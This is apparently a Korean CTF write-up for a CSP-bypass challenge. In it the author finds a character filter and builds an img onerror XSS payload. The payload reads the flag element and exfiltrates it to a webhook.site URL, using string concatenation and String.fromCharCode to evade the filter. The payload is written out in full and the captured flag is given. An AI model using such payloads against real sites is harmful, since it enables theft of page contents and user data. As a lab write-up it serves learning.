CSP Bypass - Inline code

Statement

Exfiltrate the content of the page!
Flag_REDACTED 가 표시되면 될 것 같다. CSP 로 해당 부분이 다르게 나타나게끔 되어있는 개념인가 싶다.
스크립트 실행은 막히지만 → 그냥 script라는 문자열이 필터링 당하는 거 같다.
태그같은 요소는 실행이 된다.
Content-Security-Policy: default ‘self’ 를 헤더 바디 정보로 인식하게끔, 헤더 사이에 CRLF를 넣어준다면 이를
var flag = document.querySelector("body > div > div > p").innterText;
Python
를 이용해서
이 부분을 다시 읽게끔 할 것이다. 대신 다른 곳으로 읽어지게 해야겠다
document.write("<base href =\"https://webhook.site\" />"); document.loaction="748ac3bb-639c-41e9-9a70-6e967392e208?flag="+flag;
Python
img를 이용해서 XSS 해주는 것은 가능하기 때문에 이를 이용해서 flag를 잡아오려면 다음과 같이 구성하면 되겠다.
user=<img src='.' onerror='var flag=document.querySelector("body > div > div > p ");document.write("<base href=\"https://webhook.site/748ac3bb-639c-41e9-9a70-6e967392e208?flag="+flag;\" />")
JavaScript
이대로 넣어주면 안된다.
일일히 어떤 문자들이 필터링 당하는지 확인해 보았다.
http, https
:
이거 두개가 필터링 당한다.
http 의 경우 + 문자로 문자를 붙여주면 필터링을 못할 것이다.
http → htt+p
: 은 코드로 나타내주는 방법이 있을거 같다.
python으로 따지면 chr(58) → : 이므로, javascript 에서 이와 비슷한 건 String.fromCharCode() 가 있다고 한다.
String.fromCharCode(58) 을 : 자리에 넣어주자
user=<img src='%23' onerror='var flag=document.querySelector("body > div > div > p").innerText;document.write("<base href=\"ht"%2b"tps"%2bString.fromCharCode(58)%2b"//webhook.site"%2b"\"/>");document.location="748ac3bb-639c-41e9-9a70-6e967392e208?test="%2bflag;'>
JavaScript
이렇게 주면 되겠다. 그럼 onerror 가 리다이렉트 되는 url에 나타날 것이다.
잘 안된다.
아 이걸 이제 Report 에 넣어주면 되는 거였다.
CSP_34SY_T0_BYP4S_W1TH_SCR1PT